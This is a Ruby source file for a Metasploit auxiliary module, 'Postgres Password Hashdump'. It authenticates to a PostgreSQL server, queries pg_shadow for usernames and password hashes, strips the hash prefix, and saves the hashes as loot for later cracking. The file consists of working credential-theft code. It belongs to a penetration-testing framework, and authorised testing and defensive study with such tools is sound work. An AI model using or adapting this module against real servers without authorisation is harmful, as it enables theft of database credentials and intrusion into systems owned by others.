96 lines
2.5 KiB
Ruby
96 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Postgres
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Postgres Password Hashdump',
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'Description' => %Q{
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This module extracts the usernames and encrypted password
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hashes from a Postgres server and stores them for later cracking.
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},
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'Author' => ['theLightCosine'],
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'License' => MSF_LICENSE
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)
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register_options([
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OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']),
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])
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deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
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end
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def run_host(ip)
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#Query the Postgres Shadow table for username and password hashes and report them
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res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)
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#Error handling routine here, borrowed heavily from todb
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case res.keys[0]
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when :conn_error
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print_error("A Connection Error occured")
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return
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when :sql_error
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case res[:sql_error]
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when /^C42501/
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print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficient permissions."
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return
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else
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print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}"
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return
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end
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when :complete
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print_status("Query appears to have run successfully")
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end
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this_service = report_service(
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:host => datastore['RHOST'],
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:port => datastore['RPORT'],
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:name => 'postgres',
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:proto => 'tcp'
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)
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tbl = Rex::Ui::Text::Table.new(
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'Header' => 'Postgres Server Hashes',
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'Indent' => 1,
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'Columns' => ['Username', 'Hash']
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)
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res[:complete].rows.each do |row|
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next if row[0].nil? or row[1].nil?
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next if row[0].empty? or row[1].empty?
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password = row[1]
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password.slice!(0,3)
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tbl << [row[0], password]
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end
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print_good("#{tbl.to_s}")
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report_hash(tbl.to_csv,this_service)
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end
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#Reports the Stolen Hashes back to the Database for later cracking
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def report_hash(hashtable,service)
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filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_postgreshashes.txt"
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path = store_loot("postgres.hashes", "text/plain", datastore['RHOST'], hashtable, filename, "Postgres Hashes",service)
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print_status("Hash Table has been saved: #{path}")
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end
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end
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